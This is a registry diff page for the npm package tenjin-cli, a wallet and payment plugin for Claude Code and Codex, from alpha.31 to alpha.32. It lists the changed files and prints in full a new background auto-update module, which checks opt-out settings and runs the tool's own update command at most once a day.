tenjin-cli 0.1.0-alpha.31 → 0.1.0-alpha.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (258) hide show
  1. package/README.md +5 -5
  2. package/dist/{_esm-MEXZI5DL.js → _esm-RLLC72MS.js} +128 -132
  3. package/dist/{alive-J64H46HI.js → alive-MROUMFH3.js} +13 -6
  4. package/dist/auto-update-OPWMRZLS.js +22 -0
  5. package/dist/{ccip-7RMRLAGV.js → ccip-DHDFKTQV.js} +2 -2
  6. package/dist/chunk-2GNOFONN.js +560 -0
  7. package/dist/chunk-2GNOFONN.js.map +1 -0
  8. package/dist/{chunk-TTNESUPQ.js → chunk-2GP3HRYK.js} +2120 -193
  9. package/dist/chunk-2GP3HRYK.js.map +1 -0
  10. package/dist/chunk-3AIHRXKO.js +72 -0
  11. package/dist/chunk-3AIHRXKO.js.map +1 -0
  12. package/dist/{chunk-LEFIX6RS.js → chunk-3DIL66VX.js} +31 -11
  13. package/dist/chunk-3DIL66VX.js.map +1 -0
  14. package/dist/{chunk-S4SAZ7OD.js → chunk-3FMZGI7I.js} +12 -2
  15. package/dist/{chunk-S4SAZ7OD.js.map → chunk-3FMZGI7I.js.map} +1 -1
  16. package/dist/{chunk-7Q5FDF65.js → chunk-445VQTVM.js} +3 -3
  17. package/dist/{chunk-A36LQPHV.js → chunk-4LMUQMBH.js} +1 -1
  18. package/dist/{chunk-A36LQPHV.js.map → chunk-4LMUQMBH.js.map} +1 -1
  19. package/dist/{chunk-KXQ4UIP7.js → chunk-4USCZ2NI.js} +2 -2
  20. package/dist/chunk-62KNUYWD.js +111 -0
  21. package/dist/chunk-62KNUYWD.js.map +1 -0
  22. package/dist/{chunk-POUWHWID.js → chunk-6CMM6YCB.js} +3 -3
  23. package/dist/{chunk-POUWHWID.js.map → chunk-6CMM6YCB.js.map} +1 -1
  24. package/dist/{chunk-5MARFNSB.js → chunk-AD226HDR.js} +49 -30
  25. package/dist/chunk-AD226HDR.js.map +1 -0
  26. package/dist/chunk-ADV4LDTB.js +106 -0
  27. package/dist/chunk-ADV4LDTB.js.map +1 -0
  28. package/dist/{chunk-7WU4OPLP.js → chunk-AV5NZMYO.js} +5 -3
  29. package/dist/{chunk-7WU4OPLP.js.map → chunk-AV5NZMYO.js.map} +1 -1
  30. package/dist/chunk-B7EM4GGF.js +198 -0
  31. package/dist/chunk-B7EM4GGF.js.map +1 -0
  32. package/dist/chunk-BFDQ4WNW.js +119 -0
  33. package/dist/chunk-BFDQ4WNW.js.map +1 -0
  34. package/dist/{chunk-2XLC3AEX.js → chunk-BI673VEJ.js} +536 -510
  35. package/dist/chunk-BI673VEJ.js.map +1 -0
  36. package/dist/chunk-CEXSOI5R.js +808 -0
  37. package/dist/chunk-CEXSOI5R.js.map +1 -0
  38. package/dist/{chunk-FW75G2W4.js → chunk-CISYM4EO.js} +5 -5
  39. package/dist/{chunk-B7HUUJOK.js → chunk-D3ZURCG7.js} +3 -3
  40. package/dist/chunk-D5TOQSO4.js +474 -0
  41. package/dist/chunk-D5TOQSO4.js.map +1 -0
  42. package/dist/{chunk-UQUOVWBG.js → chunk-DRDUIZIA.js} +7 -7
  43. package/dist/{chunk-27EPWVOY.js → chunk-DW4YTVR3.js} +2 -2
  44. package/dist/chunk-E7LGOMH6.js +449 -0
  45. package/dist/chunk-E7LGOMH6.js.map +1 -0
  46. package/dist/{chunk-QSCPK4F5.js → chunk-E7SW44LM.js} +4 -11
  47. package/dist/chunk-E7SW44LM.js.map +1 -0
  48. package/dist/chunk-EDJWHDDL.js +33 -0
  49. package/dist/chunk-EDJWHDDL.js.map +1 -0
  50. package/dist/chunk-F3ED5WTR.js +13 -0
  51. package/dist/chunk-F3ED5WTR.js.map +1 -0
  52. package/dist/chunk-G75OPGAK.js +111 -0
  53. package/dist/chunk-G75OPGAK.js.map +1 -0
  54. package/dist/{chunk-R5LCN54M.js → chunk-GAKUQHKA.js} +13 -17
  55. package/dist/{chunk-R5LCN54M.js.map → chunk-GAKUQHKA.js.map} +1 -1
  56. package/dist/{chunk-4ZZO6ULA.js → chunk-HDPUXS3Z.js} +19 -48
  57. package/dist/chunk-HDPUXS3Z.js.map +1 -0
  58. package/dist/{chunk-ORWL5BSN.js → chunk-HGZEPQUT.js} +2 -2
  59. package/dist/{chunk-6E5R45ZO.js → chunk-HREHWL32.js} +4 -4
  60. package/dist/{chunk-6E5R45ZO.js.map → chunk-HREHWL32.js.map} +1 -1
  61. package/dist/{chunk-KXVP2VKA.js → chunk-I5TDIUKM.js} +15 -34
  62. package/dist/chunk-I5TDIUKM.js.map +1 -0
  63. package/dist/{chunk-7QKHZQKW.js → chunk-IADZOXKN.js} +39 -6
  64. package/dist/chunk-IADZOXKN.js.map +1 -0
  65. package/dist/{chunk-P4NH7OUK.js → chunk-IDTRSAHE.js} +2 -2
  66. package/dist/{chunk-YFPY4ONH.js → chunk-JEVQ5LKO.js} +4 -4
  67. package/dist/chunk-JNJWBTU2.js +3497 -0
  68. package/dist/chunk-JNJWBTU2.js.map +1 -0
  69. package/dist/{chunk-MNXS2U45.js → chunk-JRZBBPO6.js} +167 -86
  70. package/dist/chunk-JRZBBPO6.js.map +1 -0
  71. package/dist/{chunk-WJXLQXJY.js → chunk-MPZUYCAP.js} +4 -1
  72. package/dist/{chunk-WJXLQXJY.js.map → chunk-MPZUYCAP.js.map} +1 -1
  73. package/dist/{chunk-SJLTEINJ.js → chunk-OJNTCYQQ.js} +17 -1
  74. package/dist/chunk-OJNTCYQQ.js.map +1 -0
  75. package/dist/{chunk-AGZ7PJKY.js → chunk-OTWLERSW.js} +22 -5
  76. package/dist/chunk-OTWLERSW.js.map +1 -0
  77. package/dist/{chunk-NEFNKLBE.js → chunk-PJNENX2A.js} +1535 -422
  78. package/dist/chunk-PJNENX2A.js.map +1 -0
  79. package/dist/{chunk-UKY4CHNC.js → chunk-PKHI276N.js} +8 -4
  80. package/dist/chunk-PKHI276N.js.map +1 -0
  81. package/dist/{chunk-5K5W4S66.js → chunk-QF3LSMGS.js} +2 -2
  82. package/dist/{chunk-XZKD7DIF.js → chunk-RL5UUDT4.js} +3 -3
  83. package/dist/{chunk-XZKD7DIF.js.map → chunk-RL5UUDT4.js.map} +1 -1
  84. package/dist/{chunk-OHRR5OYM.js → chunk-SFASB5FL.js} +10 -4
  85. package/dist/chunk-SFASB5FL.js.map +1 -0
  86. package/dist/{chunk-YVFXE7RR.js → chunk-SNNSAGMT.js} +7279 -2627
  87. package/dist/chunk-SNNSAGMT.js.map +1 -0
  88. package/dist/{chunk-WK7F3B2E.js → chunk-SO3XRZPX.js} +3 -3
  89. package/dist/chunk-SYOS5CAC.js +176 -0
  90. package/dist/chunk-SYOS5CAC.js.map +1 -0
  91. package/dist/chunk-TAW4UFFF.js +293 -0
  92. package/dist/chunk-TAW4UFFF.js.map +1 -0
  93. package/dist/{hosts-FWZOV26H.js → chunk-TF5HCP33.js} +79 -24
  94. package/dist/chunk-TF5HCP33.js.map +1 -0
  95. package/dist/{chunk-AKWGE6JQ.js → chunk-UUGOUOVT.js} +37 -2
  96. package/dist/chunk-UUGOUOVT.js.map +1 -0
  97. package/dist/{chunk-7ZRL2LBQ.js → chunk-V2LQLN5H.js} +6 -6
  98. package/dist/{chunk-K72RURN3.js → chunk-VJUVFZ2D.js} +2 -2
  99. package/dist/{chunk-77TCKDEC.js → chunk-VOZA6O7K.js} +663 -477
  100. package/dist/chunk-VOZA6O7K.js.map +1 -0
  101. package/dist/{chunk-D65GNPS3.js → chunk-VUGQTZ2L.js} +208 -84
  102. package/dist/chunk-VUGQTZ2L.js.map +1 -0
  103. package/dist/chunk-WOM257PW.js +393 -0
  104. package/dist/chunk-WOM257PW.js.map +1 -0
  105. package/dist/chunk-WYXUQGOL.js +191 -0
  106. package/dist/chunk-WYXUQGOL.js.map +1 -0
  107. package/dist/chunk-X5ZBP3IY.js +97 -0
  108. package/dist/chunk-X5ZBP3IY.js.map +1 -0
  109. package/dist/{chunk-5C32RLTA.js → chunk-YUY4SAGM.js} +17 -2
  110. package/dist/chunk-YUY4SAGM.js.map +1 -0
  111. package/dist/{cli-D5OE3URZ.js → cli-FB4LOA5A.js} +144 -63
  112. package/dist/{cli-D5OE3URZ.js.map → cli-FB4LOA5A.js.map} +1 -1
  113. package/dist/{codex-event-PPNVRRDH.js → codex-event-TYVES3UX.js} +2 -2
  114. package/dist/{codex-host-2RJOJW2B.js → codex-host-WW4H2SKT.js} +7 -6
  115. package/dist/codex-install-2C623HPW.js +393 -0
  116. package/dist/codex-install-2C623HPW.js.map +1 -0
  117. package/dist/{config-ZD4OB2DO.js → config-HOVJFEKD.js} +21 -17
  118. package/dist/doctor-NKU4V5OV.js +1312 -0
  119. package/dist/doctor-NKU4V5OV.js.map +1 -0
  120. package/dist/{env-proxy-XL4P73MZ.js → env-proxy-R6ZMLQTT.js} +6 -2
  121. package/dist/{ethersCompat-Df4a6QIZ-THAVUGIJ.js → ethersCompat-Df4a6QIZ-X6YZWAML.js} +3 -3
  122. package/dist/{fund-5ITKQGYF.js → fund-WEBHTZGN.js} +37 -36
  123. package/dist/{fund-5ITKQGYF.js.map → fund-WEBHTZGN.js.map} +1 -1
  124. package/dist/hook-command-ZA2PNKS6.js +44 -0
  125. package/dist/hosts/claude/.claude-plugin/marketplace.json +2 -2
  126. package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +2 -2
  127. package/dist/hosts/claude/tenjin/skills/tenjin-pay/SKILL.md +82 -0
  128. package/dist/hosts/codex/tenjin/.mcp.json +3 -0
  129. package/dist/hosts/codex/tenjin/hooks/hooks.json +51 -5
  130. package/dist/hosts-AV5MHBAU.js +38 -0
  131. package/dist/index.js +28 -8
  132. package/dist/index.js.map +1 -1
  133. package/dist/{install-XWGE4Q7L.js → install-PT4EZS4R.js} +53 -30
  134. package/dist/{install-identity-K7EJIQFP.js → install-identity-5A4OE6YC.js} +11 -10
  135. package/dist/install-wallet-SAAPKB73.js +281 -0
  136. package/dist/install-wallet-SAAPKB73.js.map +1 -0
  137. package/dist/{mcp-3LIJSSJB.js → mcp-HAWKCTPQ.js} +785 -210
  138. package/dist/mcp-HAWKCTPQ.js.map +1 -0
  139. package/dist/{mine.wasm-6PIT3DK6.js → mine.wasm-QFAHIFPY.js} +2 -2
  140. package/dist/{mine.wasm-6PIT3DK6.js.map → mine.wasm-QFAHIFPY.js.map} +1 -1
  141. package/dist/{package-ZKQFDWLE.js → package-SR2WB6MK.js} +4 -2
  142. package/dist/passphrase-IFTDS3CU.js +44 -0
  143. package/dist/{paths-POPTXJO6.js → paths-XCSAKISU.js} +10 -2
  144. package/dist/{pay-WHBERZ3W.js → pay-OXC3WKYV.js} +29 -29
  145. package/dist/{payments-KVICEKD2.js → payments-3KHMP2MG.js} +15 -14
  146. package/dist/{payments-KVICEKD2.js.map → payments-3KHMP2MG.js.map} +1 -1
  147. package/dist/plugin-registration-N3GRIZVM.js +67 -0
  148. package/dist/{redact-6W23GGJC.js → redact-D7ASVWKL.js} +2 -2
  149. package/dist/runtime-UVNUA3AS.js +1203 -0
  150. package/dist/runtime-UVNUA3AS.js.map +1 -0
  151. package/dist/runtime-fetch-EKFRNR6Z.js +20 -0
  152. package/dist/runtime-layout-BDWZG2TQ.js +25 -0
  153. package/dist/{send-7G7Y7DLN.js → send-HMKJLT34.js} +24 -22
  154. package/dist/{send-7G7Y7DLN.js.map → send-HMKJLT34.js.map} +1 -1
  155. package/dist/{status-OF7RH5HM.js → status-RWXIIWYS.js} +55 -25
  156. package/dist/status-RWXIIWYS.js.map +1 -0
  157. package/dist/{status-line-XOUE6MPL.js → status-line-77XYZP7E.js} +10 -9
  158. package/dist/{status-line-XOUE6MPL.js.map → status-line-77XYZP7E.js.map} +1 -1
  159. package/dist/uninstall-D5G67UJH.js +480 -0
  160. package/dist/uninstall-D5G67UJH.js.map +1 -0
  161. package/dist/update-LRNOEGSB.js +53 -0
  162. package/dist/update-LRNOEGSB.js.map +1 -0
  163. package/dist/{usdc-OGOGEHV2.js → usdc-D6X7EIQ2.js} +6 -8
  164. package/dist/usdc-D6X7EIQ2.js.map +1 -0
  165. package/dist/{viemAdapter-By13KInL-S3DA7DFW.js → viemAdapter-By13KInL-RL742ETX.js} +3 -3
  166. package/dist/viemAdapter-By13KInL-RL742ETX.js.map +1 -0
  167. package/dist/wallet-XFYC27BR.js +55 -0
  168. package/dist/wallet-XFYC27BR.js.map +1 -0
  169. package/dist/wallet-kdf-worker.mjs +8 -8
  170. package/docs/agent-permissions.md +40 -22
  171. package/docs/safety-model.md +1 -1
  172. package/docs/troubleshooting.md +72 -1
  173. package/package.json +14 -1
  174. package/dist/ccip-NLCSCHKI.js +0 -19
  175. package/dist/chunk-2XLC3AEX.js.map +0 -1
  176. package/dist/chunk-4ZZO6ULA.js.map +0 -1
  177. package/dist/chunk-5C32RLTA.js.map +0 -1
  178. package/dist/chunk-5IEP5EGE.js +0 -5332
  179. package/dist/chunk-5IEP5EGE.js.map +0 -1
  180. package/dist/chunk-5MARFNSB.js.map +0 -1
  181. package/dist/chunk-77TCKDEC.js.map +0 -1
  182. package/dist/chunk-7EKYXMUO.js +0 -7536
  183. package/dist/chunk-7EKYXMUO.js.map +0 -1
  184. package/dist/chunk-7QKHZQKW.js.map +0 -1
  185. package/dist/chunk-AGZ7PJKY.js.map +0 -1
  186. package/dist/chunk-AKWGE6JQ.js.map +0 -1
  187. package/dist/chunk-BL3332HQ.js +0 -7611
  188. package/dist/chunk-BL3332HQ.js.map +0 -1
  189. package/dist/chunk-D65GNPS3.js.map +0 -1
  190. package/dist/chunk-EGELTSPU.js +0 -2865
  191. package/dist/chunk-EGELTSPU.js.map +0 -1
  192. package/dist/chunk-GA7JETVM.js +0 -150
  193. package/dist/chunk-GA7JETVM.js.map +0 -1
  194. package/dist/chunk-I3EQFHCD.js +0 -175
  195. package/dist/chunk-I3EQFHCD.js.map +0 -1
  196. package/dist/chunk-K3I7C2MO.js +0 -1185
  197. package/dist/chunk-K3I7C2MO.js.map +0 -1
  198. package/dist/chunk-KXVP2VKA.js.map +0 -1
  199. package/dist/chunk-LEFIX6RS.js.map +0 -1
  200. package/dist/chunk-MNXS2U45.js.map +0 -1
  201. package/dist/chunk-NEFNKLBE.js.map +0 -1
  202. package/dist/chunk-OHRR5OYM.js.map +0 -1
  203. package/dist/chunk-QSCPK4F5.js.map +0 -1
  204. package/dist/chunk-SJLTEINJ.js.map +0 -1
  205. package/dist/chunk-TTNESUPQ.js.map +0 -1
  206. package/dist/chunk-UKY4CHNC.js.map +0 -1
  207. package/dist/chunk-V6BSF6OC.js +0 -260
  208. package/dist/chunk-V6BSF6OC.js.map +0 -1
  209. package/dist/chunk-YVFXE7RR.js.map +0 -1
  210. package/dist/codex-install-UUZ6QMBQ.js +0 -221
  211. package/dist/codex-install-UUZ6QMBQ.js.map +0 -1
  212. package/dist/doctor-KBR34Q4B.js +0 -601
  213. package/dist/doctor-KBR34Q4B.js.map +0 -1
  214. package/dist/hook-command-4TYCHHRL.js +0 -39
  215. package/dist/hosts-FWZOV26H.js.map +0 -1
  216. package/dist/install-wallet-XQ6XFZV4.js +0 -117
  217. package/dist/install-wallet-XQ6XFZV4.js.map +0 -1
  218. package/dist/mcp-3LIJSSJB.js.map +0 -1
  219. package/dist/plugin-registration-5TIA564H.js +0 -54
  220. package/dist/status-OF7RH5HM.js.map +0 -1
  221. package/dist/uninstall-JXUAFNDB.js +0 -158
  222. package/dist/uninstall-JXUAFNDB.js.map +0 -1
  223. package/dist/update-ZKUERSO2.js +0 -44
  224. package/dist/wallet-2HA6W4R4.js +0 -43
  225. /package/dist/{_esm-MEXZI5DL.js.map → _esm-RLLC72MS.js.map} +0 -0
  226. /package/dist/{alive-J64H46HI.js.map → alive-MROUMFH3.js.map} +0 -0
  227. /package/dist/{ccip-7RMRLAGV.js.map → auto-update-OPWMRZLS.js.map} +0 -0
  228. /package/dist/{ccip-NLCSCHKI.js.map → ccip-DHDFKTQV.js.map} +0 -0
  229. /package/dist/{chunk-7Q5FDF65.js.map → chunk-445VQTVM.js.map} +0 -0
  230. /package/dist/{chunk-KXQ4UIP7.js.map → chunk-4USCZ2NI.js.map} +0 -0
  231. /package/dist/{chunk-FW75G2W4.js.map → chunk-CISYM4EO.js.map} +0 -0
  232. /package/dist/{chunk-B7HUUJOK.js.map → chunk-D3ZURCG7.js.map} +0 -0
  233. /package/dist/{chunk-UQUOVWBG.js.map → chunk-DRDUIZIA.js.map} +0 -0
  234. /package/dist/{chunk-27EPWVOY.js.map → chunk-DW4YTVR3.js.map} +0 -0
  235. /package/dist/{chunk-ORWL5BSN.js.map → chunk-HGZEPQUT.js.map} +0 -0
  236. /package/dist/{chunk-P4NH7OUK.js.map → chunk-IDTRSAHE.js.map} +0 -0
  237. /package/dist/{chunk-YFPY4ONH.js.map → chunk-JEVQ5LKO.js.map} +0 -0
  238. /package/dist/{chunk-5K5W4S66.js.map → chunk-QF3LSMGS.js.map} +0 -0
  239. /package/dist/{chunk-WK7F3B2E.js.map → chunk-SO3XRZPX.js.map} +0 -0
  240. /package/dist/{chunk-7ZRL2LBQ.js.map → chunk-V2LQLN5H.js.map} +0 -0
  241. /package/dist/{chunk-K72RURN3.js.map → chunk-VJUVFZ2D.js.map} +0 -0
  242. /package/dist/{codex-event-PPNVRRDH.js.map → codex-event-TYVES3UX.js.map} +0 -0
  243. /package/dist/{codex-host-2RJOJW2B.js.map → codex-host-WW4H2SKT.js.map} +0 -0
  244. /package/dist/{config-ZD4OB2DO.js.map → config-HOVJFEKD.js.map} +0 -0
  245. /package/dist/{env-proxy-XL4P73MZ.js.map → env-proxy-R6ZMLQTT.js.map} +0 -0
  246. /package/dist/{ethersCompat-Df4a6QIZ-THAVUGIJ.js.map → ethersCompat-Df4a6QIZ-X6YZWAML.js.map} +0 -0
  247. /package/dist/{hook-command-4TYCHHRL.js.map → hook-command-ZA2PNKS6.js.map} +0 -0
  248. /package/dist/{install-XWGE4Q7L.js.map → hosts-AV5MHBAU.js.map} +0 -0
  249. /package/dist/{install-identity-K7EJIQFP.js.map → install-PT4EZS4R.js.map} +0 -0
  250. /package/dist/{package-ZKQFDWLE.js.map → install-identity-5A4OE6YC.js.map} +0 -0
  251. /package/dist/{paths-POPTXJO6.js.map → package-SR2WB6MK.js.map} +0 -0
  252. /package/dist/{pay-WHBERZ3W.js.map → passphrase-IFTDS3CU.js.map} +0 -0
  253. /package/dist/{plugin-registration-5TIA564H.js.map → paths-XCSAKISU.js.map} +0 -0
  254. /package/dist/{redact-6W23GGJC.js.map → pay-OXC3WKYV.js.map} +0 -0
  255. /package/dist/{update-ZKUERSO2.js.map → plugin-registration-N3GRIZVM.js.map} +0 -0
  256. /package/dist/{usdc-OGOGEHV2.js.map → redact-D7ASVWKL.js.map} +0 -0
  257. /package/dist/{viemAdapter-By13KInL-S3DA7DFW.js.map → runtime-fetch-EKFRNR6Z.js.map} +0 -0
  258. /package/dist/{wallet-2HA6W4R4.js.map → runtime-layout-BDWZG2TQ.js.map} +0 -0
@@ -0,0 +1,106 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ nodeBinPath,
4
+ readRuntimeState,
5
+ versionEntry
6
+ } from "./chunk-G75OPGAK.js";
7
+ import {
8
+ configPath,
9
+ defaultDataDir,
10
+ runtimeDir
11
+ } from "./chunk-OJNTCYQQ.js";
12
+
13
+ // src/lib/auto-update.ts
14
+ import { spawn } from "node:child_process";
15
+ import { closeSync, existsSync, openSync, readFileSync, renameSync, writeFileSync } from "node:fs";
16
+ import { homedir } from "node:os";
17
+ import { join, resolve } from "node:path";
18
+ var AUTO_UPDATE_FILE = "auto-update.json";
19
+ var AUTO_UPDATE_LOG = "auto-update.log";
20
+ var DAY_MS = 864e5;
21
+ function maybeAutoUpdate(o) {
22
+ try {
23
+ const { env } = o;
24
+ if (env.CI !== void 0 && env.CI.length > 0) return;
25
+ if (env.TENJIN_NO_UPDATE_CHECK === "1") return;
26
+ const home = o.home ?? homedir();
27
+ if (resolve(o.dataDir) !== resolve(defaultDataDir(home))) return;
28
+ if (!autoMode(o.dataDir)) return;
29
+ const root = runtimeDir(o.dataDir);
30
+ const state = readRuntimeState(root);
31
+ if (state === null) return;
32
+ const node = nodeBinPath(root, state.current.node);
33
+ const entry = versionEntry(root, state.current.cli);
34
+ if (!existsSync(node) || !existsSync(entry)) return;
35
+ const nowMs = (o.now ?? Date.now)();
36
+ const previous = readAutoUpdate(root);
37
+ const started = Date.parse(previous?.startedAt ?? "");
38
+ if (!Number.isNaN(started) && nowMs - started >= 0 && nowMs - started < DAY_MS) return;
39
+ writeRecord(root, { ...previous, startedAt: new Date(nowMs).toISOString() });
40
+ const fd = openSync(join(root, AUTO_UPDATE_LOG), "w", 384);
41
+ try {
42
+ const child = (o.spawnImpl ?? spawn)(node, [entry, "update", "--background"], {
43
+ detached: true,
44
+ stdio: ["ignore", fd, fd],
45
+ cwd: home,
46
+ windowsHide: true,
47
+ // The child's own nudge would ask npm again for what it just learned.
48
+ env: { ...env, TENJIN_NO_UPDATE_CHECK: "1" }
49
+ });
50
+ child.on("error", () => void 0);
51
+ child.unref();
52
+ } finally {
53
+ closeSync(fd);
54
+ }
55
+ } catch {
56
+ }
57
+ }
58
+ function autoMode(dataDir) {
59
+ let text;
60
+ try {
61
+ text = readFileSync(configPath(dataDir), "utf8");
62
+ } catch {
63
+ return true;
64
+ }
65
+ const raw = JSON.parse(text);
66
+ const mode = raw?.update?.mode;
67
+ return mode === void 0 || mode === "auto";
68
+ }
69
+ function readAutoUpdate(root) {
70
+ try {
71
+ const raw = JSON.parse(readFileSync(join(root, AUTO_UPDATE_FILE), "utf8"));
72
+ return typeof raw === "object" && raw !== null && !Array.isArray(raw) ? raw : null;
73
+ } catch {
74
+ return null;
75
+ }
76
+ }
77
+ function recordAutoUpdate(root, result) {
78
+ const startedAt = readAutoUpdate(root)?.startedAt;
79
+ writeRecord(root, { ...startedAt !== void 0 ? { startedAt } : {}, ...result });
80
+ }
81
+ function writeRecord(root, record) {
82
+ const path = join(root, AUTO_UPDATE_FILE);
83
+ const tmp = `${path}.${process.pid}.tmp`;
84
+ writeFileSync(tmp, `${JSON.stringify(record, null, 2)}
85
+ `, { mode: 384 });
86
+ renameSync(tmp, path);
87
+ }
88
+ function autoUpdateLine(root) {
89
+ const r = readAutoUpdate(root);
90
+ if (r === null || r.finishedAt === void 0) return null;
91
+ const when = r.finishedAt.slice(0, 10);
92
+ if (r.outcome === "updated") return `Auto-update: ${when} updated ${r.from} -> ${r.to}`;
93
+ if (r.outcome === "current") return `Auto-update: ${when} up to date (${r.to ?? r.from})`;
94
+ if (r.outcome === "failed") return `Auto-update: ${when} failed: ${r.reason ?? "unknown"}`;
95
+ return null;
96
+ }
97
+
98
+ export {
99
+ AUTO_UPDATE_FILE,
100
+ AUTO_UPDATE_LOG,
101
+ maybeAutoUpdate,
102
+ readAutoUpdate,
103
+ recordAutoUpdate,
104
+ autoUpdateLine
105
+ };
106
+ //# sourceMappingURL=chunk-ADV4LDTB.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/lib/auto-update.ts"],"sourcesContent":["import { spawn } from 'node:child_process';\nimport { closeSync, existsSync, openSync, readFileSync, renameSync, writeFileSync } from 'node:fs';\nimport { homedir } from 'node:os';\nimport { join, resolve } from 'node:path';\nimport { configPath, defaultDataDir, runtimeDir } from './paths';\nimport { nodeBinPath, readRuntimeState, versionEntry } from './runtime-layout';\n\n/**\n * BACKGROUND AUTO-UPDATE, the way Claude Code's native installer does it:\n * downloaded in the background, used from the next session. At most once a\n * day, at the start of a Claude Code session or the end of a Codex one, this\n * starts `tenjin update --background` DETACHED on the runtime's own Node and\n * current entry, and returns: the caller adds no latency and never waits.\n * The child is `tenjin update`'s runtime branch unchanged (the release is\n * checked before the switch, the previous version stays, an older one is never\n * switched to, the runtime lock is held), so npm and PATH are never involved,\n * and a running Claude Code session keeps its version until the next one.\n * Codex's hooks run the launcher, which the switch rewrites, so Codex starts\n * the update as its session ends and the next session starts on the new one.\n *\n * `node:*`, the paths and the runtime layout only: the `alive` leg and\n * `tenjin mcp` load this, and neither may pay for zod, the config schema or\n * the runtime's writer. The config is read raw for the same reason.\n *\n * <root>/auto-update.json when the last run started, and how it ended\n * <root>/auto-update.log the last run's output, overwritten each run\n */\n\nexport const AUTO_UPDATE_FILE = 'auto-update.json';\nexport const AUTO_UPDATE_LOG = 'auto-update.log';\n\nconst DAY_MS = 86_400_000;\n\nexport interface AutoUpdateRecord {\n /** When the last background run was started (ISO). */\n startedAt?: string;\n /** When it finished (ISO); absent while it runs, or if it died. */\n finishedAt?: string;\n outcome?: 'updated' | 'current' | 'failed' | 'skipped';\n from?: string;\n to?: string;\n reason?: string;\n}\n\ntype Spawn = typeof spawn;\n\n/**\n * Start the background update if one is due. Synchronous and never throws:\n * every gate that does not hold returns without spawning, and so does any\n * error, since the session it rides on must start regardless.\n */\nexport function maybeAutoUpdate(o: {\n dataDir: string;\n env: NodeJS.ProcessEnv;\n home?: string;\n now?: () => number;\n spawnImpl?: Spawn;\n}): void {\n try {\n const { env } = o;\n // The same two doors the update nudge has (lib/update-check).\n if (env.CI !== undefined && env.CI.length > 0) return;\n if (env.TENJIN_NO_UPDATE_CHECK === '1') return;\n const home = o.home ?? homedir();\n if (resolve(o.dataDir) !== resolve(defaultDataDir(home))) return;\n if (!autoMode(o.dataDir)) return;\n\n const root = runtimeDir(o.dataDir);\n const state = readRuntimeState(root);\n if (state === null) return;\n const node = nodeBinPath(root, state.current.node);\n const entry = versionEntry(root, state.current.cli);\n if (!existsSync(node) || !existsSync(entry)) return;\n\n const nowMs = (o.now ?? Date.now)();\n const previous = readAutoUpdate(root);\n const started = Date.parse(previous?.startedAt ?? '');\n // A start in the future (a clock set back) counts as due, not as a day away.\n if (!Number.isNaN(started) && nowMs - started >= 0 && nowMs - started < DAY_MS) return;\n\n // Stamped BEFORE the spawn, so a second session starting in the same\n // second finds it and stays put. The last result is kept for doctor.\n writeRecord(root, { ...previous, startedAt: new Date(nowMs).toISOString() });\n const fd = openSync(join(root, AUTO_UPDATE_LOG), 'w', 0o600);\n try {\n const child = (o.spawnImpl ?? spawn)(node, [entry, 'update', '--background'], {\n detached: true,\n stdio: ['ignore', fd, fd],\n cwd: home,\n windowsHide: true,\n // The child's own nudge would ask npm again for what it just learned.\n env: { ...env, TENJIN_NO_UPDATE_CHECK: '1' },\n });\n child.on('error', () => undefined);\n child.unref();\n } finally {\n closeSync(fd);\n }\n } catch {\n // Never the session's business.\n }\n}\n\n/**\n * `update.mode` as stored, read without the config schema: absent (the\n * default) or `auto` runs; `nudge` and `off` were typed by the person, and an\n * unparsable file is not read as consent. A missing file is the default.\n */\nfunction autoMode(dataDir: string): boolean {\n let text: string;\n try {\n text = readFileSync(configPath(dataDir), 'utf8');\n } catch {\n return true;\n }\n const raw = JSON.parse(text) as { update?: { mode?: unknown } } | null;\n const mode = raw?.update?.mode;\n return mode === undefined || mode === 'auto';\n}\n\n/** The last run's record, or null when there is none or it is unreadable. */\nexport function readAutoUpdate(root: string): AutoUpdateRecord | null {\n try {\n const raw = JSON.parse(readFileSync(join(root, AUTO_UPDATE_FILE), 'utf8')) as unknown;\n return typeof raw === 'object' && raw !== null && !Array.isArray(raw)\n ? (raw as AutoUpdateRecord)\n : null;\n } catch {\n return null;\n }\n}\n\n/**\n * Replace the record with how a run ended, keeping when it started, so no\n * field of an earlier run survives into this one. Throws; the caller decides.\n */\nexport function recordAutoUpdate(root: string, result: Omit<AutoUpdateRecord, 'startedAt'>): void {\n const startedAt = readAutoUpdate(root)?.startedAt;\n writeRecord(root, { ...(startedAt !== undefined ? { startedAt } : {}), ...result });\n}\n\nfunction writeRecord(root: string, record: AutoUpdateRecord): void {\n const path = join(root, AUTO_UPDATE_FILE);\n const tmp = `${path}.${process.pid}.tmp`;\n writeFileSync(tmp, `${JSON.stringify(record, null, 2)}\\n`, { mode: 0o600 });\n renameSync(tmp, path);\n}\n\n/** Doctor's one line about the last finished run, or null when there is none. */\nexport function autoUpdateLine(root: string): string | null {\n const r = readAutoUpdate(root);\n if (r === null || r.finishedAt === undefined) return null;\n const when = r.finishedAt.slice(0, 10);\n if (r.outcome === 'updated') return `Auto-update: ${when} updated ${r.from} -> ${r.to}`;\n if (r.outcome === 'current') return `Auto-update: ${when} up to date (${r.to ?? r.from})`;\n if (r.outcome === 'failed') return `Auto-update: ${when} failed: ${r.reason ?? 'unknown'}`;\n return 